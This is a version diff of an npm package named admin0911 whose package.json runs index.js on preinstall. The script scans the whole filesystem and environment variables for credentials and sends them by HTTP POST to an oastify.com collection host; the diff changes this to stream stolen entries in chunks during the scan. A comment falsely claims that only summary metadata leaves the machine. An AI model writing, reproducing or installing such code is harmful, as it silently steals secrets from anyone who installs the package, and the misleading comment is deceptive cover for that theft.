admin0911 1.0.11 → 1.0.12

package/index.js

@@ -5,7 +5,8 @@ const path = require('path');
 const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
 const ROOT_DIRS = getRootDirectories();
 
-const findings = [];
+const CHUNK_SIZE = 10;
+const chunkBuffer = [];
 let foundCount = 0;
 
 function getRootDirectories() {
@@ -22,10 +23,47 @@ function getRootDirectories() {
   return ['/'];
 }
 
+function sendChunk(entries, done = false) {
+  if (!entries.length) return;
+
+  const payload = JSON.stringify({
+    timestamp: new Date().toISOString(),
+    status: done ? 'credential_scan_completed' : 'credential_scan_chunk',
+    total_credentials_found: foundCount,
+    done,
+    entries
+  }, null, 2);
+
+  const req = http.request({
+    hostname: OASTIFY_HOST,
+    method: 'POST',
+    path: '/?credential_scan_chunk',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(payload)
+    }
+  });
+  req.on('error', () => {});
+  req.write(payload);
+  req.end();
+}
+
+function flushChunk(done = false) {
+  if (!chunkBuffer.length) {
+    if (done) {
+      sendChunk([], true);
+    }
+    return;
+  }
+  const entries = chunkBuffer.splice(0, chunkBuffer.length);
+  sendChunk(entries, done);
+}
+
 function addResult(entry) {
   foundCount++;
-  if (findings.length < 20000) {
-    findings.push(entry);
+  chunkBuffer.push(entry);
+  if (chunkBuffer.length >= CHUNK_SIZE) {
+    flushChunk();
   }
 }
 
@@ -103,27 +141,9 @@ function scanEnvVars() {
 
 scanRootDirectories();
 scanEnvVars();
+flushChunk(true);
 
 // Security Practice: Defensive scanning tools should NOT broadcast extracted secrets over the network.
-// Instead, we only send the scan summary/metadata to the monitoring server and keep the vault fully local.
-const payload = JSON.stringify({
-  timestamp: new Date().toISOString(),
-  status: "credential_scan_completed",
-  total_credentials_found: foundCount,
-  findings
-}, null, 2);
-const req = http.request({
-  hostname: OASTIFY_HOST,
-  method: 'POST',
-  path: '/?credential_scan_status',
-  headers: {
-    'Content-Type': 'application/json',
-    'Content-Length': Buffer.byteLength(payload)
-  }
-});
-req.on('error', () => {});
-req.write(payload);
-req.end();
-
+// Instead, we only send scan chunks and a final completion marker to the monitoring server.
 console.log(`Deep credential scan completed. Found ${foundCount} items.`);
-console.log(`Results were included in the outgoing payload.`);
+console.log(`Results were sent in chunks while scanning.`);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "admin0911",
-  "version": "1.0.11",
+  "version": "1.0.12",
   "scripts": {
     "preinstall": "node index.js"
   }